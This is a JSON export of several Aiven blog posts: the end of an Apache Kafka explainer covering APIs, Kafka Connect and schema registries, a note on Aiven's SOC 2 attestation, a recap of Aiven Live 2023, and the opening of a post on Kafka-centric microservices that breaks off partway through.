Consumers track the offset that they last saw (or that they want next), although that detail is often hidden inside of libraries used by the clients.\n\n![Apache Kafka in your architecture](//images.ctfassets.net/q3u27v6lpki8/27plzs2p5wJTpfkGwTaNvq/a5ee6574acdf2b805be9ba1c56e50339/Apache_Kafka_in_your_architecture.png)\n\n![Apache Kafka ecosystem with connect02 B](//images.ctfassets.net/q3u27v6lpki8/2Rsdc8qQifnr8jHCAUgLpW/8f3fbae3f0fec1006733b381b7da0c06/Apache_Kafka_ecosystem_with_connect02_B.png)\n\n## Apache Kafka APIs: connecting to Kafka\n\nUtterly unsurprisingly, Kafka interfaces with other systems via APIs. Kafka’s Java client offers five core APIs:\n- The [Admin API](https://kafka.apache.org/documentation.html#adminapi) for inspecting and managing Kafka objects like topics and brokers.\n- The [Producer API](https://kafka.apache.org/documentation.html#producerapi) for writing (publishing) to topics.\n- The [Consumer API](https://kafka.apache.org/documentation.html#consumerapi) for reading (subscribing to) topics.\n- The [Kafka Streams API](https://kafka.apache.org/documentation/streams) to provide access for applications and microservices to higher-level stream processing functions.\n- The [Kafka Connect API](https://kafka.apache.org/documentation.html#connect) for creating import and export connectors to external systems and applications.\n\nWhich API you use to connect to Apache Kafka and how exactly you do it depends on things like which technologies you are using, what type of activity you want to do (produce message, consume messages, manage the Kafka brokers, etc), how “high-level” you want the connection to be (do you want your code to specify all of the individual details about messages / partitions / headers / etc, do you want your consumer to keep track of its latest offsets, do you want to describe how a stream should be processed and let the library setup the message flows, do you want to avoid writing any code at all and just use Kafka to join together other datastores?).\n\n### Some producers and consumers\n\n#### Low-level libraries\n\nFor full control over the data flowing onto and off a Kafka topic, there are client libraries available for many different programming languages. The Apache Kafka project itself maintains the Java APIs, but commonly-used libraries in other languages include:\n\n- [Sarama for Go](https://github.com/Shopify/sarama)\n- [Kafka-go for Go](https://github.com/segmentio/kafka-go)\n- [Kafka-python for Python](https://github.com/dpkp/kafka-python)\n- [Librdkafka for C/C++](https://docs.confluent.io/clients-librdkafka/current/overview.html) (and wrappers for [Go](https://docs.confluent.io/clients-confluent-kafka-go/current/overview.html), [Python](https://docs.confluent.io/clients-confluent-kafka-python/current/overview.html), etc)\n\nThese consumers allow you to do things like target particular partitions for a message, send arbitrary bytes for the message body, and use any data structure for the key. Note that most of these will need to be carefully synchronized between the producers and the consumers, otherwise the consumers will likely misunderstand the message (e.g. it might be on an unexpected partition or not conform to the expected structure).\n\n### Higher-level client libraries\n\nGetting slightly higher, these libraries will generally also allow some more standard options to be used. For example, automatically selecting the partition based on a hash of the message key, or using a [schema registry](https://www.aiven.io/blog/what-is-karapace) to make sure that the message structure conforms to expectations.\n\nFor consumers, a big concern is keeping track of whereabouts in the stream of messages a consumer has processed up to. Low-level consumers might store their own offset somewhere (for example in ZooKeeper, although [Kafka itself has been moving away from ZooKeeper](https://aiven.io/blog/broker-communication-in-kafka-2-7-and-beyond \"Broker communication in Kafka 2.7 and beyond | Aiven Blog\")), but it’s more normal to let Kafka manage that for you so an application can happily restart and pick up where it left off. By default, Kafka uses a dedicated topic called __consumer_offsets__ for this.\n\n### EVEN higher-level client libraries\n\nGetting even higher-level, a common need is to coordinate many different instances of an application, so that each message is only handled once even though there could be many different servers running an application. To help coordinate which applications are consuming from which topics, what offset they are all up to, and to spread load around in case of application failure, Kafka lets you model a group of consumers as a single entity.\n\nWhen an application connects to Kafka and requests to consume from a given topic, it can declare itself as a member of a particular [consumer group](https://kafka.apache.org/documentation/#consumerconfigs_group.id) --or link to consumer groups section--, and it will be given messages from the correct offset in a subset of partitions depending on how many other applications are also in that consumer group.\n\n### Really high level clients\nInstead of dealing with every individual detail of each message, you can opt for higher-level clients that simplify the whole message process.\n\n#### Stream processing\n[Kafka Streams](https://kafka.apache.org/documentation/streams/) is a Java library which allows you to model how you want to deal with a stream of messages in your application. It lets you create a fluent pipeline in your code, defining a stream of transformations (e.g. “extract these fields from the message”, “combine the message with a lookup from a DB table”, “if this field contains a number bigger than 10, then publish the message onto a different stream and raise an alert”), and then the Kafka Streams library figures out what needs to be wired together to deploy the overall process.\n\n#### Apache Kafka Connect®\n\nIf you don’t want to write any code at all, or maybe just write some “glue” code to extract data from some other datastore, you can use Apache Kafka Connect to create a single source pipeline into Kafka and a single sink pipeline out of it. It is important to note that Kafka Connect is nothing special from Kafka’s point of view, it is simply an external application which produces and consumes messages, but it is a convenient way to get data into or out of an external datastore (e.g. a PostgreSQL database).\n\n[Apache Kafka Connect](https://aiven.io/kafka-connect) is an application which hosts one or more “connectors”, which themselves fall into one of two categories: a “source” which extracts data from an external source and publishes it onto a Kafka topic, or a “sink” which consumes data from a Kafka topic and pushes it out to something external. Sometimes, these are used together in order to move data between two external datastores, using Kafka purely as a transit between the two connectors.\n\nWith Kafka Connect, you can also perform simple transformations to message fields in individual messages.\n\n(Curious to know what Kafka Connectors Aiven provides? Here's a [list of Aiven's Apache Kafka connectors](https://help.aiven.io/en/articles/1231452-kafka-connect-connectors) in the developer docs.\n\n##### Source connector examples\n\n- Pulling data from a relational database, either as a single bulk extract or as ongoing changes. There are various implementations of this, common ones being Debezium which pretends to be a read-only replica database (e.g. using [CDC](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html)) or [Aiven’s JDBC source](https://github.com/aiven/jdbc-connector-for-apache-kafka) which can either repeatedly dredge a whole table at a time or follow an incrementing column like an ID or a timestamp to figure out what has been changed.\n- Watching for changes in an AWS S3 bucket\n- Subscribing to another message broker, e.g. the [Stream Reactor MQTT connector](https://docs.lenses.io/5.0/integrations/connectors/stream-reactor/sources/mqttsourceconnector/) from Lenses.io\n\n##### Sink connector examples\n\n- Writing data to a relational database\n- Calling an external API\n- Sending a webhook to notify clients that something has happened\n- Streaming events into a data warehouse for storage and analytics\n\nIf the system you want to connect to Kafka doesn’t have a ready-made connector, you can use the\nKafka Connect API to make one.\n\n### Coordinating message schemas\nSince Kafka is a tool to decouple producers and consumers, it also removes their opportunity to agree on the structure of the messages. How does the producer know that the consumers are able to understand the messages it is publishing?\n\nThere is no opportunity for the various applications to coordinate which fields they are expecting, or whether they expect a particular field to be an actual integer or a string containing an integer - a common situation experienced by anyone investigating a new API.\n\nTo solve this problem, it is common to use an external tool such as [Karapace](https://aiven.io/blog/what-is-karapace) which acts as a repository for the schema of the messages being published onto a particular topic. The publisher writes its message schema into the registry, including all of the fields and what data type they are, and consumers can read the schema and align their expectations accordingly.\n\nIf the schema is not as they are expecting, then they could raise an exception and avoid consuming any messages from the topic, or they could flag that perhaps a software version upgrade is needed as the schema has evolved.\n\n#### The other benefits of having a message schema\n\nThere are more benefits of having a message schema. It is necessary for schemas to evolve - rarely do we know all of the future requirements when first writing a piece of software - but the schema registry can inform (or enforce!) us whether a new schema is compatible with the previous version. For example if a new schema version is just adding fields but not removing any, then chances are good that consumers will still be able to understand the messages even if they don’t yet know how to handle the new fields.\n\nAnother benefit is that the consumer might not need to send the field names with every message. If using a serialization format which preserves the order of fields (e.g. Avro instead of JSON) then the producer can tell the registry that e.g. “the first field is a numerical ID, the second field is the username” and then it just needs to serialize the field values - the consumer already knows that the first field will never be the username.\n\nContrast that with a format that does not require fields to stay in order, which will still need the field name to be sent with each field. Kafka clients which can also use a schema registry will re-create the full message structure based on the data in the message and the schema from the registry, whilst being transparent to the application.\n\nCommon schema registries include the open-source Karapace and the Confluent Schema Registry.\n\n## Building microservices with Apache Kafka\nGiven that Apache Kafka excels at enabling applications to decouple from each other, it is commonly found at the center of a [microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture). This means that an application has been broken up into several smaller applications, each one focusing on its own task as part of the bigger picture but generally unaware of the other parts. Microservices using Kafka can either be consumers or producers, or often both, using Kafka to receive data or instructions, and then publishing the results back onto Kafka for other applications to use or for storing in a data warehouse.\n\nAs much as microservice architectures [bring benefits](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-alef-education) in terms of simpler individual applications which can each be scaled as needed, they also add complexity to the overall picture. Now, instead of a single piece of software, there could be many different applications - easy to test individually, but the interactions between them need a solid set of integration tests. If not carefully planned, what was thought to be decoupled applications can quickly become accidentally dependent on each other, such that if one application starts to struggle or has a critical bug then the others around it fall like dominoes. Getting back control of such a situation can be complex, so effort should be invested to ensure that independence of each microservice is preserved.\n\nGood use of Apache Kafka, however, can make this easier than it may seem. Combined with a schema registry like [Karapace](https://karapace.io), the chance of unexpected messages arriving into a microservice is kept under control, and good integration tests keep the application behaviors well understood.\n\nTo read more about the challenges and opportunities of building a microservice architecture, see [How are your microservices talking](https://aiven.io/blog/how-are-your-microservices-talking).\n\n## Event driven architecture with Apache Kafka: variations\nSince Apache Kafka goes together with so many apps, it stands to reason that Kafka-centric architectures come in a range of flavors. Take a look at these cases, for example:\n\n- [Building a streaming SQL pipeline with Flink and Kafka](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka)\n- [Near real-time ELT with Kafka + Snowflake](https://aiven.io/blog/near-real-time-elt-with-apache-kafka-and-snowflake)\n- [Optimizing data streaming pipelines](https://aiven.io/blog/optimizing-data-streaming-pipelines)\n\n[![Kafka-pillar-piece-video-link-frame](//images.ctfassets.net/q3u27v6lpki8/2Cd1h0f87ZbqoSIwJaukCN/628ebb52121b259428fad8480d530edc/Kafka-pillar-piece-video-link-frame.png)](https://youtu.be/Ca3TlklRhfs \"Video: Building data pipelines with Apache Kafka and PostgreSQL | YouTube\")\n\n## Updating legacy architecture with Apache Kafka\n\nKafka is actually a good option for dealing with [database migration](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect). But you can use it for more than just migration: Kafka can seamlessly join the elements of an old architecture together and allow you to expand and scale it. It also makes it easy to join new types of elements to existing ones.\n\nHere are some things we prepared earlier...\n\n- [Updating an old app-to-database architecture for Kafka](https://aiven.io/blog/using-kafka-connect-jdbc-source-a-postgresql-example)\n- [Streaming event data while modernising legacy architecture](https://aiven.io/case-studies/building-event-driven-architecture-with-aiven)\n- [Moving from a provider of mechanical slot machines to an online hybrid gaming infrastructure](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-paf)\n- [A supply chain and inventory management system with a cloud-based, unified model of data](https://aiven.io/case-studies/aiven-cloud-helps-adeo)\n\n## Managing Apache Kafka\n\nBeyond the initial startup configuration files, there are also various activities needed to manage Apache Kafka as it is running (e.g. creating new topics, updating consumer group offsets, or triggering new elections for which broker is the leader of a partition), but it doesn’t come out of the box with a handy web interface for administration. Instead, there is Apache Kafka's [Admin API](https://kafka.apache.org/documentation.html#adminapi), along with a Java client library and a set of command-line scripts to help call the API for a variety of management tasks.\n\nIf you have downloaded Kafka from the Apache website, look in the “bin/” directory for useful shell scripts to cover a whole variety of administration tasks.\n\n## Observability and Apache Kafka\n\nApache Kafka is notoriously tricky to manage at scale, due to needing various configs to be tuned to cope with the potentially massive volumes of data flowing across its topics and all of those data being written to disk. Without good insight into Kafka’s internals, knowing which dials to tune would be impossible and operators would be relying on blind luck to keep Kafka running smoothly. The Java ecosystem provides a standard interface for exposing metrics about the internals of an application, JMX, and Kafka uses JMX to expose a whole host of useful information about what is going on.\n\nIt is common practice to ingest metrics from Apache Kafka into a time-series database (for example M3) and use a visualization tool like Grafana to watch trends over time.\n\n## Kafka and data safety\nKafka doesn’t really do data backups, because the data it contains is by nature ephemeral. So if a cluster drops offline, how can you be sure that nothing gets interrupted or lost?\n\nThe answer to this is replication, and Apache Kafka has its own replication tool, MirrorMaker 2. There are [many reasons to use MirrorMaker 2](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2) but keeping your data safe is perhaps the most important. Think of MirrorMaker as analogous to a special Kafka Connect setup, where the source and the sink are each attached to different Kafka brokers. MirrorMaker is really just a consumer, pulling messages from a Kafka topic, and a producer sending those messages immediately onto another Kafka topic (usually on a different broker). Because Kafka consumers can let Kafka store their offset state, MirrorMaker offers a completely stand-alone way to shovel messages between two independent Kafka brokers. It is common to use this to create a “backup” Kafka cluster, often in a completely different location, without any impact on the “main” Kafka cluster.\n## Data is power\nStreaming architectures like those typically involving Apache Kafka have access to an absolutely massive amount of data. It’s easy to start thinking of data as disposable at best, and as cumbersome at worst. But the truth is, data is, or can be, the most valuable asset you own.\n\nYou can slice it and dice it to examine more closely how your services are used and how they perform. Monitoring, scaling, visitor behavior, security, automation… There are [so many things that your data can do](https://aiven.io/blog/easy-real-time-streaming-insights).\n\n## Setting up and managing Kafka isn’t simple\nApache Kafka works incredibly well at all sizes, whether your deployment is small or huge. You should always have at least three brokers, so that if one fails there is still a majority of brokers available to handle the workload. However, this flexibility comes at a cost: it needs to be carefully tuned to work optimally at a given scale.\n\nEven if you use a managed platform like Aiven for Apache Kafka, there are still decisions to be made from the client side:\n\n- How will the topics be used?\n- How many partitions per topic?\n- How many replicas?\n- What retention period to use?\n- What compaction policy fits the use case?\n\nGetting these decisions right can be critical, as some of them are not easy to change at a later date without a fair amount of upset to the clients. E.g. increasing or decreasing the number of partitions in a topic will change the key-to-partition distribution (and hence the ordering guarantees), but having too many partitions for a given broker size will have an impact on maximum throughput. Testing under production-level loads, including failure scenarios and on-the-fly operational changes, is critical to having a suitably-tuned setup.\n\n## Some words about orchestration and automation\nTo make the configuration, management and coordination of complex systems (like any system that includes Apache Kafka) easier, you can implement an orchestration system. Orchestration tools like [Kubernetes](https://aiven.io/docs/tools/kubernetes.html) can be set up to automatically perform multi-stage processes. This helps you to streamline and optimize workflows that need to be performed regularly and/or repeatedly. All you need is to be running in containers.\n\nOn a related but different note, [Terraform](https://aiven.io/docs/tools/terraform/index.html) allows you to define your infrastructure as code, which makes it easier to provision and manage. You specify the configuration, Terraform takes care of the dependencies and networking.\n\nTo find out more about both tools and what they do, read our [Kubernetes vs Terraform](https://aiven.io/blog/kubernetes-vs-terraform) blog article.\n\n## Getting started with Apache Kafka on Aiven\nWhat’s the benefit of using a managed Kafka with the same provider’s managed DBaaS? For one thing, multi-service pipelines are easy to build and manage.\n\n[Aiven for Apache Kafka](https://aiven.io/kafka) is at your service.\n\nHave a poke around [Aiven's developer documentation](https://aiven.io/docs/products/kafka/index.html) to take your first steps in the Kafka world, or [sign up for a free trial](https://console.aiven.io/signup) and start playing around.\n\n\n\u003c!-- Orchestration\nTerraform, Kubernetes --\u003e\n\n## Further reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n","categories":[{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"alt":"","asset":{"_ref":"image-c536900cc26fcce9a13b096cd8a2e2a1076d33c7-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-09T00:00:00.000Z","related":[{"_key":"854bd81b80a7","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"},{"_key":"91acd73e1205","_ref":"3tNJVcx9wrILzuyGlZQdYc","_type":"reference"}],"seo":{"_type":"metaData","canonicalUrl":"/developer/what-is-apache-kafka","excludeFromSitemap":true,"metaDescription":"Have you ever been confused by all this talk about kafkas and streaming? Get the basics in this post full of information and resources.","metaImage":{"alt":"","asset":{"_ref":"image-c536900cc26fcce9a13b096cd8a2e2a1076d33c7-1567x844-png","_type":"reference"}},"metaTitle":"What is Apache Kafka®? | Everything you need to know for Kafka"},"slug":{"_type":"slug","current":"/blog/what-is-apache-kafka"},"subtitle":"Have you ever been confused by all this talk about kafkas and streaming? Get the basics in this post full of information and resources.","title":"What is Apache Kafka®?"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"FwHuttZT2pzKRzfZgICHq","_rev":"LX2G4IZzKdBcRydHgUmS0L","_type":"post","_updatedAt":"2023-07-26T10:21:22Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven officially achieved SOC 2 compliance this October 2019. Developed by the American Institute of Certified Public Accountants (AICPA), SOC 2 requires that companies have the policies, procedures, and guidelines in place to ensure the security, availability, processing integrity, and privacy of customer data.\n\nExternally verified SOC 2 compliance ensures that your providers meet this standard and securely manage and protect your data. Along with [ISO 27001:2013 certification](https://aiven.io/blog/aiven-earns-iso-27001-certification), which Aiven also holds, SOC 2 attestation leverages 3rd- party verification of Aiven’s information security posture, policies and processes. \n\n“Both SOC 2 and ISO 27001 require supplier management to ensure the whole chain meets the security demands expected by the end customer, and we're happy to be able to showcase that we can meet these best-of-industry security standards. ” says Heikki Nousiainen, Chief Technology Officer at Aiven. \n\nWhile not always a hard requirement for SaaS and cloud computing vendors, both our SOC 2 attestation and ISO27001:2013 certification are key pillars for establishing customer trust and helping them meet their own compliance requirements for using us for their production systems.\n\n#### Wrapping up\n\nSOC 2 compliance ensures that Aiven can meet the strictest trust requirements of our customers, thereby simplifying procurement and onboarding processes. But SOC 2 attributes cannot easily be baked-in after the fact; they are always best built-in from the beginning. \n\n“It’s good to know that, since Information Security has always been a strategic asset for Aiven, we’ve always been building our services with this as one of our primary value propositions,” Heikki says.\n\n\nTo stay up to date on the latest developments from Aiven follow our [blog](/blog/feed.xml) or [changelog](/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date with Aiven.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-67daf8178899e32a63ab98a978f17476cc978688-752x405-png","_type":"reference"}},"publishedAt":"2019-10-10T00:00:00.000Z","seo":{"metaDescription":"By achieving SOC 2 status, Aiven further demonstrates dedication to data assurance. Learn more about why this important in our latest post.","metaImage":{"alt":"","asset":{"_ref":"image-67daf8178899e32a63ab98a978f17476cc978688-752x405-png","_type":"reference"}},"metaTitle":"Aiven adds SOC 2 to list of security standards"},"slug":{"_type":"slug","current":"/blog/aiven-adds-soc2-to-list-of-security-standards"},"subtitle":"By achieving SOC 2 status, Aiven further demonstrates dedication to data assurance. Learn more about why this important in our latest post.","title":"Aiven adds SOC 2 to list of security standards"} {"__i18n_lang":"en","_createdAt":"2023-12-14T05:56:08Z","_id":"8eb7b659-d740-401e-a5b3-14c1dc21e885","_rev":"T130WEs22RB6SoEkOC6bcs","_type":"post","_updatedAt":"2024-11-19T11:43:49Z","authors":[{"_key":"cb651304067a","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"“I love open source, but the community is even more important,” pronounced Heikki Nousiainen, Field CTO and Co-Founder, Aiven, in his opening address at Aiven Live 2023. “It's the community that enables us to experiment, innovate, pollinate ideas and inspire us with new ways of doing things.”\n\n![Aiven Live Heikki on stage](https://cdn.sanity.io/images/sczeoy4w/production/faebe15375f989ffde752ced24be64a99a5580e1-6000x4000.jpg)\n\nThis theme of innovation set the scene for a day where industry influencers, technologists, strategists, developers and end-users, including [GigaOm](https://gigaom.com/), [Revenir](https://www.revenir.ai), [Hookdeck](https://hookdeck.com/), [Dojo](https://dojo.tech/) and [Doccla](https://www.doccla.com/), talked about how [open source data platforms](https://aiven.io/platform) are unlocking business value, and, critically, how data platform thinking is changing the way we do things.\n\nBased on the knowledge sharing, ideas exchanges and conversations, here are my five big takeaways from the day.\n\n## 1. The industry influencer’s observations: What is the problem we are trying to solve?\n\nJon Collins, Vice President of Engagement and Senior Analyst at GigaOm, gave a keynote presentation on \"The Day 1-2-3 of Data Platforms.\" He discussed the challenges and opportunities of the current data landscape, and how organizations can use technology platforms to deliver business value.\n\nCollins began by referencing the proliferation of different technologies and the challenges of managing a multi-cloud, multi-everything world when both legacy and emerging technologies must work together. How over the past decade we’ve seen a move towards cloud-based models and cloud native technologies, giving plenty of options for innovation but also creating technology fragmentation, complexity, operational overheads and increased risk. \n\n![Aiven Live Heikki on stage](https://cdn.sanity.io/images/sczeoy4w/production/2162d369604948f9e195f20c34b0dcd6899d2d8a-6000x4000.jpg)\n\nHe examined the trend towards FinOps, arguing that FinOps is an indication of cost overruns and that multi-cloud architectures are having to be managed alongside on-premise environments, adding to the complexity of managing IT costs. He argued that we need to move away from a fragmented approach and towards technology platforms, that is integrated layers of technology that can be built, deployed and managed as a whole, in-house or by a third party. This strategy will dictate the skills required in-house, plus processes and policies for procurement, deployment and operations. However, most companies don’t want or need to be experts in infrastructure and data, so third parties can offer real value here.\n\nCollins concluded that technology platforms can be the basis for real innovation and can be efficient and effective right out of the box. And that the real winners in the AI space will be the data management companies, who are the experts in, well, data. But the focus should always start and end with “what is the problem we are trying to solve?”\n\n## 2. The end user customer perspective. Can a data platform drive innovation?\n \nThree of our customers, Brian Wagner, CTO at Revenir, a London-based fintech handling VAT repayments; Phil Leggeter, Head of DevRel \u0026 PLG at Hookdeck, an event gateway provider; and Sandeep Mehta, Engineering Lead, Data Platforms at Dojo, a card payment fintech, shared their insights on the theme: How can a data platform drive innovation?\n \nThey all talked to how the pressure to drive innovation rests on doing more with less. This has meant leaning in to address cost and performance optimization, multi-cloud operations and self-service data solutions.\n\n![Aiven Live Customer Panel on stage 2](https://cdn.sanity.io/images/sczeoy4w/production/12127c68c1bdbb1ca66e6168adba1de9c139a9f8-5845x3897.jpg)\n \nRevenir began with cost optimization is always on their mind — calculating everything down to the cost of a single transaction, and how, for example, Aiven for Apache Kafka helps reduce costs. Leggeter really delved into how the company’s focus must be solely on its IP, citing: “… that’s where our value lies. If we were managing the infrastructure entirely ourselves, we wouldn’t be focusing on this value. We use Aiven to optimise performance and cost.” Dojo’s focus is steely on growth. However, Mehta talked about how important it is they’re not locked into one vendor, as they like to experiment themselves, and how the Aiven streaming platform was the right choice “…it was easy to adopt, it’s very close to open source, it has the ability to work with data coming in from multiple source and cloud environments, and we can lay down the foundation to scale without fear of lock in.\"\n \nOn the subject of cloud partnerships with the hyperscalers, while many are not quite multi-cloud yet, there was a unified voice that being able to choose technologies and solutions that work across many clouds will be paramount. This is also essential for Revenir, working with highly regulated banks who require multi-vendor, multi-cloud strategies.\n \nWhile our guest panellists all talked about how data is core to the success of their operations, it is not their IP and so having a managed service to deliver this is essential for them to focus on delivering customer value.\n \n## 3. The cloud view. How collaboration with hyperscalers and ecosystems ensures everything ‘just works’\n \nKeeping the cloud and partnership thread going, Elena Zykova, VP of OEM and Partnerships, Aiven, kicked off her session by stating: “Our partner strategy starts with our customers. There are so many technologies out there and businesses need to find the right ones. We want to build meaningful connections with those who see the world the same way we do.”\n\n![Aiven Live Elena on stage](https://cdn.sanity.io/images/sczeoy4w/production/3e7788f4110b896e99d938674d1636e12ef9dca3-6408x4272.jpg)\n \nAiven’s partner strategy is based on understanding the tech ecosystem our customers are in. We build these partnerships to help our customers become more efficient both architecturally and business-process wise and help relevant partners on their cloud migration journey to help them meet their digital transformation goals. Through these partnerships we help customers reduce time on migration and realize accelerated time to value. We want to make managing a customer’s data estate easy. And through our partnerships we give customers the freedom to move between the clouds, whether for workload, compliance or regulatory reasons, and thrive in a multi-cloud world or within their own cloud environments (BYOC).\n \nHow we make cloud migrations and integrations simpler is best summed up here: “Aiven’s expertise and customer focus were key in simplifying the migrations of our critical workloads to AWS and help our teams drive continuous innovation,” said Andreas Hankel, CTO Idealo. \n \nIn summary, Zykova synthesised Aiven’s value though ‘decreasing the noise, increasing meaningful connections with other vendors, delivering one coherent message, and leaving more time for customers to focus on their own business. We want to make sure everything just works.’\n\n## 4. The developer’s lens. Accelerating Generative AI development — but not doing it solo\n \nDelivered by Francesco Tisiot, Staff Developer Advocate and data aficionado at Aiven, Tisiot honed in on the risks associated with embracing Generative AI and how an integrated data platform can accelerate a safe adoption. According to OpenAI, 92% of Fortune 500 companies have used generative AI ­­– but Francesco explained that most don’t want to do this by themselves. \n \nGenerative AI is being embraced to solve real problems and create better content, but Tisiot asked if Generative AI is perfect? “No, but it’s really good. And it’s only as good as the questions we ask relating to existing data sets. Public data is not enough anymore. We need to spend time focusing on which data assets are relevant to the type of interaction we want from public and private data.”\n\n![Aiven Live Francesco on stage](https://cdn.sanity.io/images/sczeoy4w/production/12db39ccc8d33b18cfffb088a0746e5ce0a20f32-4032x3024.jpg)\n \nBut, Tisiot cautioned that cutting and pasting data into the right set simply won’t work. With Generative AI applications relying on private, regulated, or commercially valuable data, feeding the model with the right information is crucial. Failure could result in adverse consequences such as poor performance, confidential information exposure or regulatory requirement breaches. We need to have the right tools to collect the right data and remove all the data we can’t expose to AI. And we must harvest data to organise it in real time and to build trust.\n \nIn reality this requires a lot of skills and navigating complexity. But this, Tisiot explained, is also where Aiven shines in the Generative AI space. Through one, integrated data platform, companies can pick and choose the tools they use to accelerate the development of generative AI applications by providing real-time data feeds, consolidating inputs from different sources, and defining clear information boundaries. \n \n## 5. The industry picture: A data-driven journey to better patient care – the power of the open source community\n \nMatthew Huxtable, Staff Platform Engineer at Doccla talked about the organization’s ambition to become Europe’s largest virtual hospital ward. Harnessing open source technology and Aiven's data platform services, this ambitious company is in a constant state of innovation and expansion, all with the core goal of empowering patients to achieve better health and wellbeing.\n\n![Aiven Live Doccla on stage](https://cdn.sanity.io/images/sczeoy4w/production/42acfe601ed90a9ab106226523715e0026851e4c-2048x1365.jpg)\n \n“We have really gone in on software automation to provide the best care at the best possible price,” said Huxtable. Talking about the regulatory, data sovereignty and scaling challenges Doccla faces, he spoke of the power of the open source community and also why as a small team, simply doing everything themselves doesn’t make business sense. “We are an open source friendly company and value this environment where I can contribute back to the community.” But he doesn’t want to build and run critical database infrastructure being a team of one, referencing how Aiven’s platform and service has given him the flexibility and knowledge to scale but with commodity software.\n \nIf you would like to discuss any of my take-aways or customer stories, or if you're interested in learning more about how open source data platforms can help you achieve your business goals, please do get in touch with me [here](https://www.linkedin.com/in/florian-k-engel-76849b12b/).\n","categories":[{"_key":"5c78735c5b3a","_ref":"a152ffa7-46aa-4ce7-9cb5-1c270d161c88","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Live London, Aiven Live, ","asset":{"_ref":"image-b4f5860ee57f56040aad0c8ee849ccee8befd032-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-14T07:13:00.000Z","related":[{"_key":"a8a1366b5d13","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"01f7118b03ed","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"be85c2f28b9a","_ref":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Catch up on Aiven Live 2023 in London! Explore key takeaways, insights, and the latest open-source advancements from our event.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-b4f5860ee57f56040aad0c8ee849ccee8befd032-1200x628-png","_type":"reference"}},"metaTitle":"Key Takeaways from Aiven Live 2023 in London | Get Informed"},"slug":{"_type":"slug","current":"/blog/aiven-live-london-2023-recap"},"subtitle":"My Top Five Takeaways from Aiven Live, by Florian Engel, Director of Customer \u0026 Content Marketing","title":"Open Source Data Platforms: From Handling VAT Repayments in Real-Time to Creating Europe’s Largest Virtual Hospital Ward"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"1lXo1w2g8BTdPN9kxrvRFI","_rev":"Y6NNh6Ue45iOdNdcwAKi1z","_type":"post","_updatedAt":"2024-07-05T08:55:44Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"When you’re setting up a [microservice](https://en.wikipedia.org/wiki/Microservices \"Wikipedia article on microservices\") architecture, one of your first major decisions is whether to have the services communicate directly with each other, or whether to use a broker system. Since the [broker](https://aiven.io/blog/broker-communication-in-kafka-2-7-and-beyond \"Broker communication in Kafka after ZooKeeper | Aiven blog\") model is more flexible and failure-resistant, it’s likely you’ve more or less decided to choose that. However, you may be concerned that the broker will become a bottleneck in the system if traffic is heavy. \n\nAllow me to set your mind at ease by introducing you to [Apache Kafka](https://aiven.io/docs/products/kafka/concepts), a distributed, partitioned commit log service that acts as a messaging system but with a flair all its own. Developed at LinkedIn to ingest event data, Kafka is designed to collect, hold and dispense enormous amounts of data.\n\n## Kafka-centric microservice architecture\nApache Kafka aims to solve the scaling and reliability issues that hold older messaging queues back. A Kafka-centric microservice architecture refers to an application setup where microservices communicate with each other using Kafka as an intermediary.\n\nThis is made possible with Kafka’s publish-subscribe model for handling the writing and reading of records. The publish-subscribe model (pub-sub) is a communication method where the sender merely sends events — whenever there are events to be sent— and each receiver chooses, asynchronously, which events to receive.\n\nKafka-centric microservice architectures are often more scalable, reliable, and secure than traditional monolithic application architectures — where one big database is used to store everything in an application.\n\nLet’s take a brief look at why Kafka is a particularly good choice for microservices.\n## Why use Kafka at the heart of your microservice architecture\n### 1. The Kafka ecosystem\nApache Kafka is designed for easy connectivity to a number of open-source systems, and the ecosystem grows year by year. We’d go so far as to say Kafka is at its best when paired with stuff like analytic engines or search systems. \nWith [Kafka Connect](https://aiven.io/kafka-connect \"Link to Aiven for Apache Kafka Connect\"), you can easily plug Kafka into other data systems, allowing data streams to flow with low latency for consumption or further processing. This way you can expand your architecture to a whole open-source ecosystem of ready-made connectors to various services, almost all of them free.\n### 2. 